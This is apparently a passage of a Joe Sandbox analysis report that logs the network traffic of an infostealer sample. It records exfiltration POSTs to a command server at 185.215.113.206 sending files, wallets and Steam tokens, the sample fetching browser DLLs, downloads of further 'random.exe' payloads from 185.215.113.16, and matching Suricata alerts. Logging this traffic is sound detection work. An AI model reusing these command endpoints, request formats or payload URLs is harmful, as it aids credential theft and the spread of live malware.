4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="file"------IEBAAFCAFCBKFHJJJKKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFCBGCGIJKJKECAKEGCHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBGHDBKEBGIDHJJEHCAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 41 2d 2d 0d 0a Data Ascii: ------AEBGHDBKEBGIDHJJEHCAContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------AEBGHDBKEBGIDHJJEHCAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEBGHDBKEBGIDHJJEHCAContent-Disposition: form-data; name="file"------AEBGHDBKEBGIDHJJEHCA--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGIDHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIJJDHDGCGDHIJDAKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="message"wallets------JDGIIJJDHDGCGDHIJDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 2d 2d 0d 0a Data Ascii: ------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="message"files------FHIDBKFCAAEBFIDHDBAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJJEBKKEHJDGCBGCFCGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 45 42 4b 4b 45 48 4a 44 47 43 42 47 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 45 42 4b 4b 45 48 4a 44 47 43 42 47 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 45 42 4b 4b 45 48 4a 44 47 43 42 47 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 45 42 4b 4b 45 48 4a 44 47 43 42 47 43 46 43 47 2d 2d 0d 0a Data Ascii: ------BKJJEBKKEHJDGCBGCFCGContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------BKJJEBKKEHJDGCBGCFCGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKJJEBKKEHJDGCBGCFCGContent-Disposition: form-data; name="file"------BKJJEBKKEHJDGCBGCFCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAAFBGDBKJJJKFIIIJJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 2d 2d 0d 0a Data Ascii: ------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="message"ybncbhylepme------IDAAFBGDBKJJJKFIIIJJ--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBGCBAFCGDAAKFIDGIEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 2d 2d 0d 0a Data Ascii: ------JEBGCBAFCGDAAKFIDGIEContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------JEBGCBAFCGDAAKFIDGIEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JEBGCBAFCGDAAKFIDGIE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 42 32 37 37 30 42 39 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78BB2770B95182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 38 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006863001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49726 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49892 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:50017 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50122 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50123 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50125 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50126 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50127 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50129 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50134 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50135 -> 188.114.96.3:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: C:\Users\user\DocumentsHDGCGHIJKE.exe

Code function: 22_2_0052E0C0 recv,recv,recv,recv,

22_2_0052E0C0

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
